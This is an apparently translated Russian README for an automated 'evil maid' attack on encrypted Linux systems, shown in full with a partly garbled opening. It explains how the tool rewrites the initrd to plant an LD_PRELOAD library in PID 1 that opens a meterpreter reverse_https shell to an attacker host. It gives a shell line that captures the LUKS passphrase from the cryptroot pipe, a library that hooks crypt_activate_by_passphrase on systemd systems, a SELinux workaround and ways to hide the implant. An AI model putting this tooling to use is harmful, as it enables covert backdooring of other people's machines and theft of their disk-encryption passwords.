
Автоматизированная атака типа "злая горничная" на Linux

.so в /sbin/init при загрузке, открывая оболочкуLD_PRELOAD .so в DefaultEnviroment, загружается глобально, открывая оболочку.python/meterpreter/reverse_https для компиляции времени LHOSTgetenv PASSWORD)Смотрите Makefile для получения дополнительной информации/конфигурации, LHOST требуется в
окружении для сборки .so, так как msfvenom передаётся через конвейер во время компиляции. Также необходимо иметь libcrypsetup-dev (или эквивалент) установленным на сборочной машине.
Общие инструкции (создаёт iso-образ в текущей рабочей директории):
LHOST=192.168.56.101 make rev.so iso
К загрузке ядра были добавлены следующие параметры:
mc superuser nodhcp quiet loglevel=0
Кроме того, значение prompt установлено в 0 для обеспечения полностью автоматизированного
выполнения.
Примерное время от вредоносной загрузки до внедрения бэкдора: ~2 минуты Примерное время от легитимной загрузки до оболочки ~90 секунд (настраивается, мы хотим, чтобы сеть была поднята до нас)
core.d — это распакованный core.gz из TinyCore с нижеперечисленными пакетами.
Core-current — это распакованный Core-current.iso
Следующие пакеты были установлены внутри tinycore (python, поддержка файловых систем):
Минимальная сигнатура выглядит следующим образом:
"exampleOS" : {
"IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
"ROOT" : "${rootmnt}",
"FILENAME" : "/ldlinux.so.1",
"INITRDFILENAME" : "hda1"
}
exampleOS — уникальное имя для этой ОС.IDENTIFIER — команда оболочки, которая возвращает код выхода 0 при запуске на правильном initrd и !0 для всего остального.ROOT — полный путь или переменная, куда монтируется новый корень после расшифровки.FILENAME — полный путь для размещения нашего бинарного файла на корневой ФС. Убедитесь, что вы знаете, что монтирует initrd и что монтируется позже.INITRDFILENAME — полный путь бинарного файла внутри initrd. Этот файл копируется в Makefile (cp ... core.d/...), поэтому он должен соответствовать этому.После этого каждая тройка *FILE, *PRE, *POST выполняется над initrd как re.sub (например, re.sub(*PRE, *POST, *FILE)). Содержимое *PRE и *POST расширяется с помощью .format(**config[detectedOS]), так что не стесняйтесь расширять свою сигнатуру для внедрения элементов.
Нет ограничения на количество замен, которые можно выполнить.
\\1 будет расширяться до полного содержимого совпадения (*PRE) при использовании внутри замены (*POST).| $Полезная нагрузка metasploit python/meterpreter/reverse_https была выбрана, потому что она более независима от платформы, чем полезные нагрузки linux/*/meterpreter/reverse_tcp. python, похоже, установлен по умолчанию на всех протестированных системах.
По умолчанию полезная нагрузка генерируется во время компиляции и передаётся в .c файл как #define. Это упрощает итерации, но не должно быть сложно сохранить полезную нагрузку и вставить её вручную.
Системы на основе Debian (Debian, Ubuntu и т.д.) используют стандартный сжатый gzip образ cpio в качестве initramfs. Он содержит стандартный скрипт /init, который подготавливает систему к полной загрузке. Это включает запрос пароля у пользователя и монтирование зашифрованной корневой ФС.
Для внедрения нашего .so мы ждём, пока корневая файловая система не будет смонтирована (то есть после того, как у пользователя запросили пароль), и копируем .so в файловую систему /dev. Файловая система /dev была выбрана, так как она доступна непосредственно перед переключением rootfs и является монтированием на основе RAM. Это означает, что наш .so не коснётся диска.
Чтобы фактически использовать внедрённый .so, мы затем используем переменную окружения LD_PRELOAD при вызове switch_root. Эта переменная передаётся всем дочерним исполняемым файлам, и, таким образом, финальный скрипт /sbin/init будет иметь загруженный модуль. Чтобы сохранить это относительно незаметно, мы проверяем, загружены ли мы в /sbin/init, и если да, то сбрасываем переменную LD_PRELOAD и удаляем .so. Эту функциональность можно легко отключить, если мы хотим перехватывать конкретные приложения.
Чтобы принудительно выполнить .so, по умолчанию после загрузки мы используем флаг gcc -Wl,-init,shell, где shell — наша основная функция. Это указывает, какую функцию мы хотим вызвать при инициализации .so. Думайте об этом как об аналоге Windows' DllMain.
Часть скрипта init, отвечающая за запрос пароля у пользователя и монтирование корневой файловой системы, выглядит следующим образом:
scripts/local-top/cryptroot:
if [ ! -e "$NEWROOT" ]; then
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
$cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
message "cryptsetup: cryptsetup failed, bad password or options?"
continue
fi
fi
Важная часть для нас — это где вывод $cryptkeyscript передаётся через конвейер в $cryptcreate. $cryptkeyscript — это запросчик пароля, а $cryptcreate — монтировщик диска. Этот конвейер делает атаку очень лёгкой. Мы вставляем следующий код в место конвейера, чтобы записать пароль в конец нашего .so:
(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)
Это прочитает пароль в переменную $P, и запишет его в конец .so, и снова выведет его. Этот код будет прозрачным для $cryptkeyscript и $cryptcreate, но будет иметь побочный эффект — эксфильтрацию пароля. Мы используем \\\\\\\\x00, чтобы добавить нулевой байт (учитывая множество уровней экранирования оболочки) перед паролем. Это значительно упрощает чтение пароля нашим .so, так как ему нужно просто читать назад от своего конца, пока не встретит нулевой байт.
Чтобы предоставить этот пароль атакующему, он используется как переменная окружения при вызове полезной нагрузки. Это означает, что атакующий может просто использовать команду meterpreter getenv PASSWORD для получения пароля.
Из-за способа загрузки .so будут ссылки на него как в /proc/1/maps, так и в /proc/1/environ.
Файл maps — это список загруженных модулей. Следующий фрагмент показывает содержимое этого файла. Обратите внимание на (deleted), что может вызвать подозрения. Однако, в отличие от обычных бинарников, невозможно получить доступ к .so без прямого извлечения из памяти после его удаления.
7f9ee8a56000-7f9ee8a58000 r-xp 00000000 00:06 9264 /dev/hda1 (deleted)
7f9ee8a58000-7f9ee8c57000 ---p 00002000 00:06 9264 /dev/hda1 (deleted)
7f9ee8c57000-7f9ee8c58000 rw-p 00001000 00:06 9264 /dev/hda1 (deleted)
Файл environ — это разделённый нулями (NULL) список переменных окружения на момент вызова. Поскольку он с момента вызова, это означает, что любые изменения, внесённые нами во время выполнения (сброс LD_PRELOAD), не будут отражены.
В обоих этих случаях, поскольку мы можем быть перехвачены в любые системные процессы, мы могли бы просто перехватить функцию read(2) и удалить все ссылки на себя.
Kali — это особый случай. У него есть цепной cpio, как упоминалось ниже, но он не использует systemd для загрузки. В связи с этим правило ОС DRACUT было обобщено таким образом, что оно извлекает вслепую, а затем второе обнаружение ОС ловит Kali.
Если вы добавите ОС с cpio, содержащим только kernel/x86/microcode/GenuineIntel.bin, правило IDENTIFIER должно быть для добавленного cpio, так как мы автоматически найдём и извлечём его.
Эти системы имеют другой формат образа initrd по сравнению с системами на основе Debian. Файлы initrd, хранящиеся в /boot, представляют собой почти пустой архив cpio, к которому добавлен сжатый gzip архив cpio. Этот второй архив содержит initramfs. Чтобы распаковать этот второй архив, необходимо разобрать первый архив cpio, чтобы найти конец. В качестве альтернативы можно найти строку TRAILER!!! и читать дальше, пока не найдёте магию gzip (\x1f\x8b).
Ещё одно отличие этих систем в том, что они основаны на systemd, и поэтому исполняемый файл /init в initramfs является симлинком на бинарник systemd, а не простым скриптом sh. Чтобы обойти это ограничение, необходимо изменить .service файлы, связанные с монтированием корневой файловой системы.
Файл usr/lib/systemd/system/initrd-switch-root.service содержит скрипт, используемый для переключения на только что расшифрованный корень. С помощью прагмы ExecStartPre можно выполнить другие программы до начала переключения.
SELinux присутствует на CentOS, ограничивая использование LD_PRELOAD. Один рабочий путь — /lib. Он был найден чтением файла /etc/selinux/targeted/modules/active/file_contexts в поисках местоположения с меткой system_u:object_r:lib_t.
Поскольку systemd вызывает clearenv() перед переключением корня, наша переменная LD_PRELOAD стирается. Чтобы обойти это, мы можем перехватить clearenv() и всегда заменять окружение только на LD_PRELOAD. Однако для этого нужно быть PID 1 внутри initrd. Это сложнее, так как невозможно сделать LD_PRELOAD в этот процесс. Чтобы обойти это, мы заменили /init скриптом bash следующим образом:
#!/bin/bash
export LD_PRELOAD=/hda1
exec /usr/lib/systemd/systemd
Это работает, потому что /init — это просто симлинк на /usr/lib/systemd/systemd. exec используется, чтобы процесс сохранил родительский PID (1).
Как только это реализовано и clearenv() нейтрализован, становится возможным установить LD_PRELOAD для настоящего pid 1 внутри нового корня.
systemd обрабатывает пароли для зашифрованных файловых систем совершенно иначе, чем init-скрипты на основе Debian. Пароли передаются через Unix-сокеты, которые позволяют отправлять учётные данные. Чтобы обойти эту сложность, самый простой метод, который мы нашли для доступа к паролю, — это перехват функции crypt_activate_by_passphrase из libcryptsetup. Соответствующие части объявления функции выглядят следующим образом:
int crypt_activate_by_passphrase(..., const char *passphrase, size_t passphrase_size, ...);
Чтобы получить доступ к паролю, мы просто перехватываем эту функцию, сохраняем passphrase в файл и вызываем оригинальную функцию, полученную через dlsym(RTLD_NEXT, ...). Как и выше, мы добавили наш пароль в .so, чтобы он мог разобрать себя и сделать пароль доступным для meterpreter.
Как и выше, .so отображается в /proc/1/maps, /proc/1/environ и выводе ps.